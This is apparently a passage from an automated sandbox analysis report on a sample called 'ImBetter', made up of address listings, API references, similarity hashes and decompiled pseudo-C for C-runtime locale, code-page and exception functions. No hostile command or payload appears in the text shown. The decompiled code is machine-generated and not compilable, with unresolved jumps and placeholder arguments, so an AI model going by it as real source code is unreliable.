0x7ff7e6b0ea2c
0x7ff7e6b0ea2f
0x7ff7e6b0ea32
0x7ff7e6b0ea37
0x7ff7e6b0ea3e
0x7ff7e6b0ea48
0x7ff7e6b0ea50
0x7ff7e6b0ea54
0x7ff7e6b0ea5c
0x7ff7e6b0ea60
0x7ff7e6b0ea67
0x7ff7e6b0ea67
0x7ff7e6b0ea6b
0x7ff7e6b0ea73
0x7ff7e6b0ea77
0x7ff7e6b0ea7f
0x7ff7e6b0ea83
0x7ff7e6b0ea8a
0x7ff7e6b0ea96
0x7ff7e6b0ea9a
0x7ff7e6b0ea9d
0x7ff7e6b0eaaa
0x7ff7e6b0eaaf
0x7ff7e6b0eab5
0x7ff7e6b0eac0
0x7ff7e6b0ead1
0x7ff7e6b0ead6
0x7ff7e6b0eadb
0x7ff7e6b0eadf
0x7ff7e6b0eae4
0x7ff7e6b0eaed
0x7ff7e6b0eafe
0x7ff7e6b0eb04
0x7ff7e6b0eb0c
0x7ff7e6b0eb1f
0x7ff7e6b0eb34
0x7ff7e6b0eb45
0x7ff7e6b0eb52
0x7ff7e6b0eb6c

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0EB6D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0EE49

Strings

%, xrefs: 00007FF7E6B0EE7E

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: %
API String ID: 3668304517-2567322570
Opcode ID: 8c143eeca7aeadb902b11a6f4b62a2c466178c1f17b699327b4bb73a8f02ce3f
Instruction ID: 39b6233f1205364b6640a54ca763134e65c05cdf543a64a0cac6875ed0245287
Opcode Fuzzy Hash: 8c143eeca7aeadb902b11a6f4b62a2c466178c1f17b699327b4bb73a8f02ce3f
Instruction Fuzzy Hash: 2F126312B28685C9FB64EB64D8407BEBB61EB44788FA44132EE5D57B89DF3CD442C321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B431F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,?,?,?,?,?,00000000,00007FF7E6B019D5), ref: 00007FF7E6B4321E
FormatMessageA.KERNEL32 ref: 00007FF7E6B4324D

Strings

!x-sys-default-locale, xrefs: 00007FF7E6B43211

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: e2fcc644874794e4dc638575f53ae9fe36a29a4aec4e2fb79eec52f95b936bc8
Instruction ID: eb208a8abfdb201eaedaa46cd4f782b17fbfb974a156f1fae03ae8cb73e2c110
Opcode Fuzzy Hash: e2fcc644874794e4dc638575f53ae9fe36a29a4aec4e2fb79eec52f95b936bc8
Instruction Fuzzy Hash: 7801B972B2878183E7109B12F8407BAB792F7987D4F944136D68902B98DF3CD445C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B35CAC Relevance: 4.7, APIs: 3, Instructions: 169
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00007FF77FF7E6B35CAC(void* __ecx, void* __edx, void* __ebp, long long __rbx, void* __rcx, void* __rdx, void* __r9) {
				void* __rsi;
				signed int _t47;
				int _t48;
				void* _t49;
				void* _t55;
				signed int _t63;
				signed int _t72;
				signed int _t81;
				signed long long _t123;
				signed long long _t124;
				void* _t130;
				void* _t149;
				signed int* _t150;
				int _t152;
				intOrPtr* _t153;
				signed long long _t155;
				signed long long _t156;
				void* _t159;
				signed long long _t160;
				void* _t169;

				_t132 = __rcx;
				 *((long long*)(_t159 + 0x10)) = __rbx;
				 *(_t159 + 0x18) = _t155;
				_t160 = _t159 - 0x120;
				_t123 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t124 = _t123 ^ _t160;
				 *(_t160 + 0x110) = _t124;
				_t130 = __rcx;
				E00007FF77FF7E6B2A284(_t124, __rcx, __rcx, __rdx, _t152, __r9, _t169);
				_t4 = _t124 + 0x98; // 0x98
				_t153 = _t4;
				E00007FF77FF7E6B2A284(_t124, _t130, _t132, __rdx, _t153, __r9, _t149);
				_t150 =  *((intOrPtr*)(_t124 + 0x3a0));
				_t47 = E00007FF77FF7E6B36000(_t130, __rdx);
				r9d = 0x78;
				_t72 = _t47;
				asm("sbb edx, edx");
				_t48 = GetLocaleInfoW(_t152, ??, ??);
				r14d = 0;
				if (_t48 == 0) goto 0xe6b35ec6;
				_t49 = E00007FF77FF7E6B33414(_t124,  *((intOrPtr*)(_t153 + 8)));
				_t156 = _t155 | 0xffffffff;
				if (_t49 != 0) goto 0xe6b35dfb;
				_t11 = _t169 + 0x78; // 0x78
				r9d = _t11;
				asm("sbb edx, edx");
				if (GetLocaleInfoW(??, ??, ??, ??) == 0) goto 0xe6b35ec6;
				if (E00007FF77FF7E6B33414(_t124,  *_t153) != 0) goto 0xe6b35d8d;
				_t150[1] = _t72;
				goto 0xe6b35df6;
				if ((( *_t150 | 0x00000304) & 0x00000002) != 0) goto 0xe6b35dfb;
				if ( *((intOrPtr*)(_t153 + 0x14)) == r14d) goto 0xe6b35dd5;
				_t55 = E00007FF77FF7E6B3A240(_t124,  *_t153);
				if (_t55 != 0) goto 0xe6b35dd3;
				_t81 =  *_t150 | 0x00000002;
				_t150[2] = _t72;
				 *_t150 = _t81;
				if ( *((intOrPtr*)( *_t153 + (_t156 + 1) * 2)) != r14w) goto 0xe6b35dbf;
				if (_t55 !=  *((intOrPtr*)(_t153 + 0x14))) goto 0xe6b35dfb;
				_t150[1] = _t72;
				goto 0xe6b35dfb;
				if ((_t81 & 0x00000001) != 0) goto 0xe6b35dfb;
				if (_t72 ==  *0xe6b52418) goto 0xe6b35dfb;
				if (r14d + 1 - 0xa < 0) goto 0xe6b35de3;
				_t150[2] = _t72;
				 *_t150 = _t81 | 0x00000001;
				if (( *_t150 & 0x00000300) == 0x300) goto 0xe6b35eba;
				r9d = 0x78;
				asm("sbb edx, edx");
				if (GetLocaleInfoW(??, ??, ??, ??) == 0) goto 0xe6b35ec6;
				if (E00007FF77FF7E6B33414(0x7ff7e6b5241a,  *_t153) != 0) goto 0xe6b35e80;
				_t63 =  *_t150;
				asm("bts eax, 0x9");
				 *_t150 = _t63;
				if ( *((intOrPtr*)(_t153 + 0x18)) == r14d) goto 0xe6b35e61;
				asm("bts eax, 0x8");
				 *_t150 = _t63;
				goto 0xe6b35eb1;
				if ( *((intOrPtr*)(_t153 + 0x14)) == r14d) goto 0xe6b35e59;
				if ( *((intOrPtr*)( *_t153 + (_t156 + 1) * 2)) != r14w) goto 0xe6b35e6a;
				if (__ebp !=  *((intOrPtr*)(_t153 + 0x14))) goto 0xe6b35e59;
				goto 0xe6b35e9f;
				if ( *((intOrPtr*)(_t153 + 0x18)) != r14d) goto 0xe6b35eba;
				if ( *((intOrPtr*)(_t153 + 0x14)) == r14d) goto 0xe6b35eba;
				if (E00007FF77FF7E6B33414(0x7ff7e6b5241a,  *_t153) != 0) goto 0xe6b35eba;
				if (E00007FF77FF7E6B36100(_t72, 0, 0x7ff7e6b5241a, _t130,  *_t153, _t160 + 0x20, _t153, __r9) == 0) goto 0xe6b35eba;
				asm("bts dword [edi], 0x8");
				if (_t150[1] != r14d) goto 0xe6b35eba;
				_t150[1] = _t72;
				goto 0xe6b35ece;
				 *_t150 = r14d;
				return E00007FF77FF7E6B3C7F0(1, _t72,  *(_t160 + 0x110) ^ _t160);
			}

0x7ff7e6b35cac
0x7ff7e6b35cac
0x7ff7e6b35cb1
0x7ff7e6b35cba
0x7ff7e6b35cc1
0x7ff7e6b35cc8
0x7ff7e6b35ccb
0x7ff7e6b35cd3
0x7ff7e6b35cd6
0x7ff7e6b35cdb
0x7ff7e6b35cdb
0x7ff7e6b35ce2
0x7ff7e6b35cea
0x7ff7e6b35cf1
0x7ff7e6b35d00
0x7ff7e6b35d08
0x7ff7e6b35d0a
0x7ff7e6b35d18
0x7ff7e6b35d1e
0x7ff7e6b35d23
0x7ff7e6b35d32
0x7ff7e6b35d37
0x7ff7e6b35d3d
0x7ff7e6b35d46
0x7ff7e6b35d46
0x7ff7e6b35d53
0x7ff7e6b35d69
0x7ff7e6b35d80
0x7ff7e6b35d88
0x7ff7e6b35d8b
0x7ff7e6b35d90
0x7ff7e6b35d98
0x7ff7e6b35da6
0x7ff7e6b35daf
0x7ff7e6b35db1
0x7ff7e6b35db4
0x7ff7e6b35db7
0x7ff7e6b35dc7
0x7ff7e6b35dcc
0x7ff7e6b35dce
0x7ff7e6b35dd1
0x7ff7e6b35dd7
0x7ff7e6b35de6
0x7ff7e6b35df1
0x7ff7e6b35df6
0x7ff7e6b35df9
0x7ff7e6b35e06
0x7ff7e6b35e16
0x7ff7e6b35e1e
0x7ff7e6b35e34
0x7ff7e6b35e49
0x7ff7e6b35e4b
0x7ff7e6b35e4d
0x7ff7e6b35e51
0x7ff7e6b35e57
0x7ff7e6b35e59
0x7ff7e6b35e5d
0x7ff7e6b35e5f
0x7ff7e6b35e65
0x7ff7e6b35e72
0x7ff7e6b35e77
0x7ff7e6b35e7e
0x7ff7e6b35e84
0x7ff7e6b35e8a
0x7ff7e6b35e9b
0x7ff7e6b35eab
0x7ff7e6b35ead
0x7ff7e6b35eb5
0x7ff7e6b35eb7
0x7ff7e6b35ec4
0x7ff7e6b35ec6
0x7ff7e6b35ef5

APIs

Part of subcall function 00007FF7E6B2A284: GetLastError.KERNEL32 ref: 00007FF7E6B2A293
Part of subcall function 00007FF7E6B2A284: FlsGetValue.KERNEL32 ref: 00007FF7E6B2A2A8
Part of subcall function 00007FF7E6B2A284: SetLastError.KERNEL32 ref: 00007FF7E6B2A333

Part of subcall function 00007FF7E6B2A284: FlsSetValue.KERNEL32 ref: 00007FF7E6B2A2C9

GetLocaleInfoW.KERNEL32 ref: 00007FF7E6B35D18

Part of subcall function 00007FF7E6B33414: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B33431

GetLocaleInfoW.KERNEL32 ref: 00007FF7E6B35D61

Part of subcall function 00007FF7E6B33414: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B3348A

GetLocaleInfoW.KERNEL32 ref: 00007FF7E6B35E2C

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID:
API String ID: 1791019856-0
Opcode ID: fae625aead92a381ea0984fd0577eba5c14b0fbe0f1dd16a031f86d7a82a73a9
Instruction ID: a55ea4e7c0072d8b97a0f24284cc45cab3044f338931779c08c97f1e239609c6
Opcode Fuzzy Hash: fae625aead92a381ea0984fd0577eba5c14b0fbe0f1dd16a031f86d7a82a73a9
Instruction Fuzzy Hash: 7061B333B6864286EB34AF15D94177BB3A1FB44740FA08136CB9E83A86DF7CE4518721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B30D78 Relevance: 3.2, APIs: 2, Instructions: 232COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7E6B30FC7
RaiseException.KERNEL32 ref: 00007FF7E6B30FD8

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 92166a2d134ccc945e5da6c3f04b3d1ff504cd24c5bed8e1774abd3ec0f97fc1
Instruction ID: 8c41d95bad2344bf310568a81288a66eb23643b9b8750da72961e995ba0ba809
Opcode Fuzzy Hash: 92166a2d134ccc945e5da6c3f04b3d1ff504cd24c5bed8e1774abd3ec0f97fc1
Instruction Fuzzy Hash: 45B17C77B20B84CBEB15DF29C88636D77A0FB44B88F248822DA5D83BA4CB79D411C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B39E1C Relevance: 3.2, APIs: 2, Instructions: 203
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E00007FF77FF7E6B39E1C(void* __ecx, void* __edx, void* __rcx, void* __r8, void* __r10, signed long long* _a40) {
				signed int _v72;
				char _v200;
				signed int _v216;
				intOrPtr _v232;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t14;
				intOrPtr _t41;
				intOrPtr _t45;
				signed long long _t60;
				signed long long _t61;
				signed long long _t62;
				void* _t63;
				void* _t64;
				signed long long _t65;
				signed long long _t85;
				signed long long* _t86;
				void* _t87;
				signed long long _t88;
				void* _t98;

				_t60 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t61 = _t60 ^ _t88;
				_v72 = _t61;
				_t86 = _a40;
				_t45 = r9d;
				_t98 = __r8;
				 *_t86 = _t85;
				if (__edx != 1) goto 0xe6b39f39;
				_v232 = 0x80;
				r8d = _t45;
				_t81 = __r8;
				_t14 = E00007FF77FF7E6B39C98(__ecx, __edx - 1, _t63, __rcx, __r8, _t85, _t86, __r8,  &_v200, __r10);
				_t64 = _t14;
				if (_t14 == 0) goto 0xe6b39ec1;
				E00007FF77FF7E6B2C9C0(_t14, _t64, _t81);
				 *_t86 = _t61;
				E00007FF77FF7E6B29D04(_t61, _t64);
				if ( *_t86 == _t85) goto 0xe6b39faa;
				_t6 = _t64 - 1; // -1
				if (E00007FF77FF7E6B3BBA0(_t61, _t64,  *_t86, _t64, _t86,  &_v200, _t6) != 0) goto 0xe6b39fcf;
				goto 0xe6b39fad;
				if (GetLastError() != 0x7a) goto 0xe6b39faa;
				r9d = 0;
				_v232 = 0;
				r8d = _t45;
				if (E00007FF77FF7E6B39C98(0, GetLastError() - 0x7a, _t64, __rcx, _t98, _t85, _t86,  &_v200, _t6, __r10) == 0) goto 0xe6b39faa;
				E00007FF77FF7E6B2C9C0(_t21, _t21, _t98);
				_t65 = _t61;
				if (_t61 == 0) goto 0xe6b39f2a;
				_v232 = r15d;
				r8d = _t45;
				if (E00007FF77FF7E6B39C98(0, _t61, _t65, __rcx, _t98, _t85, _t86,  &_v200, _t61, __r10) == 0) goto 0xe6b39f2a;
				_t62 = _t65;
				 *_t86 = _t62;
				goto 0xe6b39f2d;
				E00007FF77FF7E6B29D04(_t62, _t85);
				goto 0xe6b39fad;
				if (1 != 2) goto 0xe6b39f7d;
				r9d = 0;
				r8d = 0;
				if (E00007FF77FF7E6B2C384(_t45, 1 - 2, _t62, _t85, _t98, _t86, _t87,  &_v200) == 0) goto 0xe6b39faa;
				E00007FF77FF7E6B2C9C0(_t26, _t26, _t98);
				if (_t62 == 0) goto 0xe6b39f2a;
				r9d = r15d;
				_t41 = _t45;
				E00007FF77FF7E6B2C384(_t41, _t62, _t62, _t62, _t98, _t86, _t87, _t62);
				goto 0xe6b39f1b;
				if (_t41 != 0) goto 0xe6b39faa;
				asm("bts ebp, 0x1d");
				_v216 = 0xffffffff;
				r9d = 2;
				if (E00007FF77FF7E6B2C384(_t45, _t41, _t62, _t62, _t98, _t86, _t87,  &_v216) == 0) goto 0xe6b39faa;
				 *_t86 = _v216;
				goto 0xe6b39eba;
				return E00007FF77FF7E6B3C7F0(_v216 | 0xffffffff, 0, _v72 ^ _t88);
			}

0x7ff7e6b39e2e
0x7ff7e6b39e35
0x7ff7e6b39e38
0x7ff7e6b39e40
0x7ff7e6b39e4a
0x7ff7e6b39e4d
0x7ff7e6b39e53
0x7ff7e6b39e59
0x7ff7e6b39e64
0x7ff7e6b39e6c
0x7ff7e6b39e6f
0x7ff7e6b39e72
0x7ff7e6b39e77
0x7ff7e6b39e7c
0x7ff7e6b39e84
0x7ff7e6b39e8b
0x7ff7e6b39e8e
0x7ff7e6b39e96
0x7ff7e6b39e9f
0x7ff7e6b39eb4
0x7ff7e6b39ebc
0x7ff7e6b39eca
0x7ff7e6b39ed0
0x7ff7e6b39ed3
0x7ff7e6b39ed7
0x7ff7e6b39eea
0x7ff7e6b39ef8
0x7ff7e6b39efd
0x7ff7e6b39f03
0x7ff7e6b39f08
0x7ff7e6b39f0d
0x7ff7e6b39f1d
0x7ff7e6b39f1f
0x7ff7e6b39f25
0x7ff7e6b39f28
0x7ff7e6b39f30
0x7ff7e6b39f37
0x7ff7e6b39f40
0x7ff7e6b39f42
0x7ff7e6b39f45
0x7ff7e6b39f57
0x7ff7e6b39f5e
0x7ff7e6b39f69
0x7ff7e6b39f6b
0x7ff7e6b39f71
0x7ff7e6b39f76
0x7ff7e6b39f7b
0x7ff7e6b39f7f
0x7ff7e6b39f81
0x7ff7e6b39f85
0x7ff7e6b39f90
0x7ff7e6b39f9d
0x7ff7e6b39fa3
0x7ff7e6b39fa5
0x7ff7e6b39fce

APIs

GetLastError.KERNEL32 ref: 00007FF7E6B39EC1
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B3A073

Part of subcall function 00007FF7E6B2C9C0: RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7E6B2A45E,?,?,?,00007FF7E6B29CED,?,?,?,?,00007FF7E6B29D38), ref: 00007FF7E6B2CA15

Part of subcall function 00007FF7E6B29D04: RtlReleasePrivilege.NTDLL ref: 00007FF7E6B29D1A
Part of subcall function 00007FF7E6B29D04: GetLastError.KERNEL32 ref: 00007FF7E6B29D24

Part of subcall function 00007FF7E6B3BBA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B3BBD3

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ErrorLast_invalid_parameter_noinfo$AllocateHeapPrivilegeRelease
String ID:
API String ID: 1892587287-0
Opcode ID: 797f479bb97480b63a01e48fbea52889bc952596107cfd62f2b5e60c1366147e
Instruction ID: aaac663668d487205d35a213f3d2982f15b2d786978edf3b4d05f6fdee3d40de
Opcode Fuzzy Hash: 797f479bb97480b63a01e48fbea52889bc952596107cfd62f2b5e60c1366147e
Instruction Fuzzy Hash: 7A61B422B2828241E721BB26AC5177BF391BF85780FA44537EE4D47B86EE7DE4018721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2F2F8 Relevance: 2.6, Strings: 2, Instructions: 144
COMMONCrypto

Download Yara Rule

C-Code - Quality: 47%

			E00007FF77FF7E6B2F2F8(void* __ebp, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32, long long _a64) {
				void* _t17;
				long long _t32;
				void* _t42;
				void* _t45;
				void* _t46;

				_t46 = _t42;
				 *((long long*)(_t46 + 8)) = __rbx;
				 *((long long*)(_t46 + 0x10)) = __rbp;
				 *((long long*)(_t46 + 0x18)) = __rsi;
				 *((long long*)(_t46 + 0x20)) = __rdi;
				r13b = r9b;
				_t16 =  >  ? __ebp : 0;
				_t17 = ( >  ? __ebp : 0) + 9;
				if (__rdx - __rax > 0) goto 0xe6b2f380;
				_t32 = _a64;
				 *((long long*)(_t46 - 0x20)) = _t32;
				r9d = 0;
				 *(_t46 - 0x28) =  *(_t46 - 0x28) & 0x00000000;
				r8d = 0;
				 *((char*)(_t32 + 0x30)) = 1;
				 *((intOrPtr*)(_t32 + 0x2c)) = 0x22;
				E00007FF77FF7E6B258C4(__rax, __rbx, _t32, __rdx, __rsi, r8d, _t45);
				return 0x22;
			}

0x7ff7e6b2f2f8
0x7ff7e6b2f2fb
0x7ff7e6b2f2ff
0x7ff7e6b2f303
0x7ff7e6b2f307
0x7ff7e6b2f31d
0x7ff7e6b2f326
0x7ff7e6b2f329
0x7ff7e6b2f331
0x7ff7e6b2f333
0x7ff7e6b2f340
0x7ff7e6b2f344
0x7ff7e6b2f347
0x7ff7e6b2f34c
0x7ff7e6b2f351
0x7ff7e6b2f355
0x7ff7e6b2f35a
0x7ff7e6b2f37f

Strings

e+000, xrefs: 00007FF7E6B2F405
gfff, xrefs: 00007FF7E6B2F482

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: 2cdfde6441ee287b939740bd14a1cd49a3cbaf737bf30c71ddcabd2159f2241b
Instruction ID: 4e6283c54cb3b97c1e6d19f6470773ea60d485284737cea21cab611d5de99923
Opcode Fuzzy Hash: 2cdfde6441ee287b939740bd14a1cd49a3cbaf737bf30c71ddcabd2159f2241b
Instruction Fuzzy Hash: 61519923B282C142E7209E35DD0076AB7C6F745B94F98A233CBA84BAC5CE7DD0018712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B33648 Relevance: 1.9, APIs: 1, Instructions: 371
COMMONCrypto

Download Yara Rule

C-Code - Quality: 36%

			E00007FF77FF7E6B33648(signed long long __rbx, long long __rcx, void* __rdx, long long __rsi) {
				void* __rdi;
				signed int _t134;
				signed int _t155;
				void* _t172;
				signed int _t188;
				signed int _t194;
				void* _t199;
				signed long long _t237;
				signed long long _t238;
				signed int _t239;
				long long _t240;
				signed long long _t241;
				long long _t243;
				long long _t252;
				signed char* _t260;
				long long _t264;
				void* _t266;
				signed long long _t279;
				void* _t282;
				signed char* _t289;
				long long _t294;
				long long _t296;
				signed long long _t297;
				void* _t299;
				signed long long _t300;
				char* _t304;
				void* _t310;
				void* _t313;
				signed long long _t316;
				signed long long _t319;
				void* _t320;
				signed long long _t323;
				int _t325;
				intOrPtr* _t326;

				_t294 = __rsi;
				_t282 = __rdx;
				_t252 = __rbx;
				_t313 = _t299;
				 *((long long*)(_t313 + 0x10)) = __rbx;
				 *((long long*)(_t313 + 0x18)) = _t296;
				 *((long long*)(_t313 + 0x20)) = __rsi;
				_t300 = _t299 - 0xa0;
				_t237 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t238 = _t237 ^ _t300;
				 *(_t300 + 0x98) = _t238;
				 *((long long*)(_t313 - 0x58)) = __rcx;
				 *((long long*)(_t313 - 0x50)) = __rbx;
				r13d = 0;
				r14d = 0;
				r12d = 0;
				if ( *((intOrPtr*)(__rcx + 0x138)) == 0) goto 0xe6b33c2b;
				_t326 = __rcx + 0xc;
				 *(_t300 + 0x58) = __rbx;
				_t10 = _t252 + 1; // 0x1
				_t199 = _t10;
				if ( *_t326 != 0) goto 0xe6b336d0;
				 *((long long*)(_t300 + 0x20)) = _t326;
				r9d = 0x1004;
				if (E00007FF77FF7E6B39E1C(_t172, 0, _t313 - 0x58,  *((intOrPtr*)(__rcx + 0x138)), _t310) != 0) goto 0xe6b33bfb;
				_t256 = __rsi;
				E00007FF77FF7E6B2C9C0(_t120, __rsi, _t282);
				 *(_t300 + 0x58) = _t238;
				E00007FF77FF7E6B2C9C0(E00007FF77FF7E6B29D04(_t238, __rsi), __rsi, _t282);
				_t319 = _t238;
				E00007FF77FF7E6B2C9C0(E00007FF77FF7E6B29D04(_t238, __rsi), __rsi, __rsi);
				_t323 = _t238;
				E00007FF77FF7E6B2C9C0(E00007FF77FF7E6B29D04(_t238, __rsi), __rsi, __rsi);
				_t297 = _t238;
				E00007FF77FF7E6B2C9C0(E00007FF77FF7E6B29D04(_t238, _t256), _t256, __rsi);
				_t316 = _t238;
				E00007FF77FF7E6B29D04(_t238, _t256);
				if ( *(_t300 + 0x58) == __rbx) goto 0xe6b33bfb;
				if (_t319 == 0) goto 0xe6b33bfb;
				if (_t316 == 0) goto 0xe6b33bfb;
				if (_t323 == 0) goto 0xe6b33bfb;
				if (_t297 == 0) goto 0xe6b33bfb;
				 *_t316 = 0;
				if (0 + _t199 - 0x100 < 0) goto 0xe6b33777;
				if (GetCPInfo(_t325) == 0) goto 0xe6b33bfb;
				if ( *(_t300 + 0x80) - 5 > 0) goto 0xe6b33bfb;
				_t134 =  *(_t300 + 0x80) & 0x0000ffff;
				 *(_t300 + 0x50) = _t134;
				if (_t134 - _t199 <= 0) goto 0xe6b33817;
				if ( *_t326 != 0xfde9) goto 0xe6b337dc;
				r8d = 0x80;
				E00007FF77FF7E6B3EA30();
				goto 0xe6b33817;
				_t260 = _t300 + 0x86;
				if ( *((intOrPtr*)(_t300 + 0x86)) == 0) goto 0xe6b33817;
				if (_t260[1] == 0) goto 0xe6b33817;
				_t194 =  *_t260 & 0x000000ff;
				if (_t194 - (_t260[1] & 0x000000ff) > 0) goto 0xe6b3380f;
				_t239 = _t194;
				 *((char*)(_t239 + _t316)) = 0x20;
				if (_t194 + _t199 - (_t260[1] & 0x000000ff) <= 0) goto 0xe6b337fd;
				if (_t260[2] != 0) goto 0xe6b337ed;
				_t26 = _t323 + 0x81; // 0x81
				_t28 = _t316 + 1; // 0x1
				 *((intOrPtr*)(_t300 + 0x40)) = 0;
				 *((intOrPtr*)(_t300 + 0x38)) =  *_t326;
				 *((intOrPtr*)(_t300 + 0x30)) = 0xff;
				 *((long long*)(_t300 + 0x28)) = _t26;
				 *((intOrPtr*)(_t300 + 0x20)) = 0xff;
				_t34 = _t239 + 1; // 0x100
				r8d = _t34;
				if (E00007FF77FF7E6B39AF0(0, 0, _t194 + _t199, _t199, _t260[2], _t239, __rbx, _t26,  *((intOrPtr*)(__rcx + 0x138)), __rsi,  *((intOrPtr*)(__rcx + 0x138)), _t28, _t310) == 0) goto 0xe6b33bfb;
				_t35 = _t297 + 0x81; // 0x81
				_t37 = _t316 + 1; // 0x1
				 *((intOrPtr*)(_t300 + 0x40)) = 0;
				r8d = 0x200;
				 *((intOrPtr*)(_t300 + 0x38)) =  *_t326;
				 *((intOrPtr*)(_t300 + 0x30)) = 0xff;
				 *((long long*)(_t300 + 0x28)) = _t35;
				 *((intOrPtr*)(_t300 + 0x20)) = 0xff;
				if (E00007FF77FF7E6B39AF0(0, 0, _t194 + _t199, _t199, E00007FF77FF7E6B39AF0(0, 0, _t194 + _t199, _t199, _t260[2], _t239, __rbx, _t26,  *((intOrPtr*)(__rcx + 0x138)), __rsi,  *((intOrPtr*)(__rcx + 0x138)), _t28, _t310), _t239, _t252, _t35,  *((intOrPtr*)(__rcx + 0x138)), _t294,  *((intOrPtr*)(__rcx + 0x138)), _t37, _t310) == 0) goto 0xe6b33bfb;
				_t43 = _t319 + 0x100; // 0x100
